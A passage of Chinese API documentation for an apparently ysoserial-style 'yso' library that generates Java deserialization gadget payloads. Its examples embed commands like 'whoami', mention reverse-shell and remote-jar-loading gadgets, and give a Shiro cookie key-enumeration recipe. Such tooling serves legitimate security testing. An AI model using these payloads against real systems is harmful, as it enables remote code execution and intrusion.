    yso.useRuntimeExecEvilClass(command),    yso.obfuscationClassConstantPool(),    yso.evilClassName(className),    )

定义#

GetClick1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsBeanutils183NOCCJavaObject#

详细描述#

GetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。

去除了对 commons-collections:3.1 的依赖。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils183NOCCJavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsBeanutils183NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsBeanutils192NOCCJavaObject#

详细描述#

GetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。

去除了对 commons-collections:3.1 的依赖。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils192NOCCJavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsBeanutils192NOCCJavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsBeanutils1JavaObject#

详细描述#

GetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(
     yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令        yso.obfuscationClassConstantPool(),        yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsBeanutils1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections1JavaObject#

详细描述#

GetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, err := yso.GetCommonsCollections1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetCommonsCollections1JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections2JavaObject#

详细描述#

GetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections2JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsCollections2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections3JavaObject#

详细描述#

GetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections3JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsCollections3JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections4JavaObject#

详细描述#

GetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections4JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsCollections4JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections5JavaObject#

详细描述#

GetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections5JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetCommonsCollections5JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections6JavaObject#

详细描述#

GetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections6JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetCommonsCollections6JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections7JavaObject#

详细描述#

GetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollections7JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetCommonsCollections7JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollections8JavaObject#

详细描述#

GetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollections8JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsCollections8JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollectionsK1JavaObject#

详细描述#

GetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollectionsK1JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsCollectionsK1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollectionsK2JavaObject#

详细描述#

GetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetCommonsCollectionsK2JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetCommonsCollectionsK2JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollectionsK3JavaObject#

详细描述#

GetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollectionsK3JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetCommonsCollectionsK3JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetCommonsCollectionsK4JavaObject#

详细描述#

GetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, _ = yso.GetCommonsCollectionsK4JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetCommonsCollectionsK4JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetFindGadgetByDNSJavaObject#

详细描述#

GetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name,进而探测 Gadget。

使用预定义的FindGadgetByDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。

url:要在生成的Java对象中设置的URL字符串。

返回:成功时返回构造好的Java对象及nil错误,失败时返回nil及相应错误。

Example:

url, token, _ = risk.NewDNSLogDomain()javaObject, _ = yso.GetFindGadgetByDNSJavaObject(url)gadgetBytes,_ = yso.ToBytes(javaObject)使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器res,err = risk.CheckDNSLogByToken(token)
    if err {      //dnslog查询失败    } else {      if len(res) > 0{       // dnslog查询成功      }    }

定义#

GetFindGadgetByDNSJavaObject(url string) (*JavaObject, error)

参数#

参数名参数类型参数解释
urlstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetGadget#

详细描述#

GenerateGadget this is a highly flexible function that can generate a Java object by three different ways:

  1. Generate a Java object that have no any params.

    Example: GenerateGadget("CommonsCollections1")

  2. Generate a Java object that have one param and implement by TemplateImpl, the first param is the name of the gadget, the second param is the class name, the third param is the class param. Example: GenerateGadget("CommonsCollections2", "Sleep", "1000")

  3. Generate a Java object that have multiple params and implement by TemplateImpl, the first param is the name of the gadget, the second param is the class name, the third param is the class param map. Example: GenerateGadget("CommonsCollections2", "TcpReverseShell", map[string]string{"host": "127.0.0.1","port":"8080"})

  4. Generate a Java object that have one param and implement by TransformChain, the first param is the name of the gadget, the second param is the transform chain name, the third param is the param. Example: GenerateGadget("CommonsCollections1", "dnslog", "xxx.xx.com")

  5. Generate a Java object that have multiple params and implement by TransformChain, the first param is the name of the gadget, the second param is the transform chain name, the third param is the param map. Example: GenerateGadget("CommonsCollections1", "loadjar", map[string]string{"url": "xxx.com", "name": "exp"})

  6. Generate a Java object that implement by TemplateImpl. Example: GenerateGadget("CommonsCollections2", useRuntimeExecEvilClass("whoami"))

定义#

GetGadget(name string, opts ...any) (*JavaObject, error)

参数#

参数名参数类型参数解释
namestring
opts...any

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetGadgetNameByFun#

详细描述#

定义#

GetGadgetNameByFun(i any) (string, error)

参数#

参数名参数类型参数解释
iany

返回值#

返回值(顺序)返回值类型返回值解释
r1string
r2error

GetGroovy1JavaObject#

详细描述#

GetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。

这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。

cmd:要设置在Java对象中的命令字符串。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, _ = yso.GetGroovy1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetGroovy1JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetJBossInterceptors1JavaObject#

详细描述#

GetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJBossInterceptors1JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetJBossInterceptors1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetJSON1JavaObject#

详细描述#

GetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJSON1JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetJSON1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetJavaObjectFromBytes#

详细描述#

GetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。

此函数使用ParseJavaSerialized方法来解析提供的字节序列,

并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空,

函数将返回错误。如果解析成功,它将返回解析出的第一个Java对象。

byt:要解析的字节数组。

返回:成功时返回第一个Java对象及nil错误,失败时返回nil及相应错误。

Example:

raw := "rO0..." // base64 Java serialized objectbytes = codec.DecodeBase64(raw)~ // base64解码javaObject, err := yso.GetJavaObjectFromBytes(bytes) // 从字节中解析Java对象

定义#

GetJavaObjectFromBytes(byt []byte) (*JavaObject, error)

参数#

参数名参数类型参数解释
byt[]byte

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetJavassistWeld1JavaObject#

详细描述#

GetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJavassistWeld1JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetJavassistWeld1JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetJdk7u21JavaObject#

详细描述#

GetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJdk7u21JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetJdk7u21JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetJdk8u20JavaObject#

详细描述#

GetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。

通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数使用户能够定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetJdk8u20JavaObject(
    yso.useRuntimeExecEvilClass(command), // 使用Runtime Exec方法执行命令    yso.obfuscationClassConstantPool(),    yso.evilClassName(className), // 指定恶意类的名称
)

定义#

GetJdk8u20JavaObject(options ...GenClassOptionFun) (*JavaObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetSimplePrincipalCollectionJavaObject#

详细描述#

GetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。

主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。

使用一个空的 SimplePrincipalCollection作为 payload,序列化后使用待检测的秘钥进行加密并发送,秘钥正确和错误的响应表现是不一样的,可以使用这个方法来可靠的枚举 Shiro 当前使用的秘钥。

Example:

javaObject, _ = yso.GetSimplePrincipalCollectionJavaObject()classBytes,_ = yso.ToBytes(javaObject)data = codec.PKCS5Padding(classBytes, 16)keyDecoded,err = codec.DecodeBase64("kPH+bIxk5D2deZiIxcaaaA==")iv = []byte(ramdstr(16))cipherText ,_ = codec.AESCBCEncrypt(keyDecoded, data, iv)payload = codec.EncodeBase64(append(iv, cipherText...))发送 payload

定义#

GetSimplePrincipalCollectionJavaObject() (*JavaObject, error)

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetURLDNSJavaObject#

详细描述#

GetURLDNSJavaObject 利用Java URL类的特性,生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。

这个函数首先使用预定义的URLDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。

url:要在生成的Java对象中设置的URL字符串。

返回:成功时返回构造好的Java对象及nil错误,失败时返回nil及相应错误。

Example:

url, token, _ = risk.NewDNSLogDomain()javaObject, _ = yso.GetURLDNSJavaObject(url)gadgetBytes,_ = yso.ToBytes(javaObject)使用构造的反序列化 Payload(gadgetBytes) 发送给目标服务器res,err = risk.CheckDNSLogByToken(token)
    if err {      //dnslog查询失败    } else {      if len(res) > 0{       // dnslog查询成功      }    }

定义#

GetURLDNSJavaObject(url string) (*JavaObject, error)

参数#

参数名参数类型参数解释
urlstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

LoadClassFromBCEL#

详细描述#

LoadClassFromBCEL 将BCEL(Byte Code Engineering Library)格式的Java类数据转换为字节数组,

并从这些字节中加载并返回一个javaclassparser.ClassObject对象。

这个函数首先使用javaclassparser.Bcel2bytes转换BCEL格式的数据,然后利用GenerateClassObjectFromBytes生成类对象。

可通过可变参数options来定制类对象的特定属性或行为。

data:BCEL格式的Java类数据。

options:用于配置类对象的可变参数函数列表。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

bcelData := "$$BECL$$..." // 假设的BCEL数据classObject, err := LoadClassFromBCEL(bcelData, option1, option2) // 从BCEL数据加载并配置类对象

定义#

LoadClassFromBCEL(data string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
datastring
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

LoadClassFromBase64#

详细描述#

LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。

这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options来配置生成的类对象。

这些参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。

base64:要从中加载类对象的base64编码字符串。

options:用于配置类对象的可变参数函数列表。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

classObject, _ := yso.LoadClassFromBytes("yv66vg...") // 从字节中加载并配置类对象

定义#

LoadClassFromBase64(base64 string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
base64string
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

LoadClassFromBytes#

详细描述#

LoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。

这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options来配置生成的类对象。

这些参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。

bytes:要从中加载类对象的字节数组。

options:用于配置类对象的可变参数函数列表。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

bytesCode,_ =codec.DecodeBase64("yv66vg...")classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象

定义#

LoadClassFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
bytes[]byte
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

ToBcel#

详细描述#

定义#

ToBcel(i any) (string, error)

参数#

参数名参数类型参数解释
iany

返回值#

返回值(顺序)返回值类型返回值解释
r1string
r2error

ToBytes#

详细描述#

ToBytes 将 Java 或反序列化对象转换为字节码

Example:

gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetBytes,_ = yso.ToBytes(gadgetObj,yso.dirtyDataLength(10000),yso.twoBytesCharString())

定义#

ToBytes(i any, opts ...MarshalOptionFun) ([]byte, error)

参数#

参数名参数类型参数解释
iany
opts...MarshalOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1[]byte
r2error

ToJson#

详细描述#

ToJson 将 Java 或反序列化对象转换为 json 字符串

Example:

gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetJson,_ = yso.ToJson(gadgetObj)

定义#

ToJson(i any) (string, error)

参数#

参数名参数类型参数解释
iany

返回值#

返回值(顺序)返回值类型返回值解释
r1string
r2error

command#

详细描述#

SetExecCommand

command 请求参数选项函数,用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.command("whoami"),yso.useRuntimeExecTemplate())

定义#

command(cmd string) GenClassOptionFun

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

dirtyDataLength#

详细描述#

定义#

dirtyDataLength(length int) MarshalOptionFun

参数#

参数名参数类型参数解释
lengthint

返回值#

返回值(顺序)返回值类型返回值解释
r1MarshalOptionFun

dnslogDomain#

详细描述#

SetDnslog

dnslogDomain 请求参数选项函数,设置指定的 Dnslog 域名,需要配合 useDnslogTemplate 使用。

addr:要设置的 Dnslog 域名。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useDnslogTemplate(),yso.dnslogDomain("dnslog.com"))

定义#

dnslogDomain(addr string) GenClassOptionFun

参数#

参数名参数类型参数解释
addrstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

dump#

详细描述#

dump 将Java 对象转换为类 Java 代码

Example:

gadgetObj,_ = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode),yso.obfuscationClassConstantPool(),yso.evilClassName(className),yso.majorVersion(version))gadgetDump,_ = yso.dump(gadgetObj)

定义#

dump(i any) (string, error)

参数#

参数名参数类型参数解释
iany

返回值#

返回值(顺序)返回值类型返回值解释
r1string
r2error

evilClassName#

详细描述#

SetClassName

evilClassName 请求参数选项函数,用于设置生成的类名。

className:要设置的类名。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.evilClassName("EvilClass"))

定义#

evilClassName(className string) GenClassOptionFun

参数#

参数名参数类型参数解释
classNamestring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

majorVersion#

详细描述#

定义#

majorVersion(v uint16) GenClassOptionFun

参数#

参数名参数类型参数解释
vuint16

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

obfuscationClassConstantPool#

详细描述#

定义#

obfuscationClassConstantPool()

springEchoBody#

详细描述#

定义#

springEchoBody()

springHeader#

详细描述#

SetHeader

springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。

需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.9,以触发回显。

key:要设置的 header 键。

val:要设置的 header 值。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check"))

定义#

springHeader(key string, val string) GenClassOptionFun

参数#

参数名参数类型参数解释
keystring
valstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

springParam#

详细描述#

SetParam

springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。

param:要设置的请求参数。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check"))

定义#

springParam(val string) GenClassOptionFun

参数#

参数名参数类型参数解释
valstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

springRuntimeExecAction#

详细描述#

定义#

springRuntimeExecAction()

tcpReverseHost#

详细描述#

SetTcpReverseHost

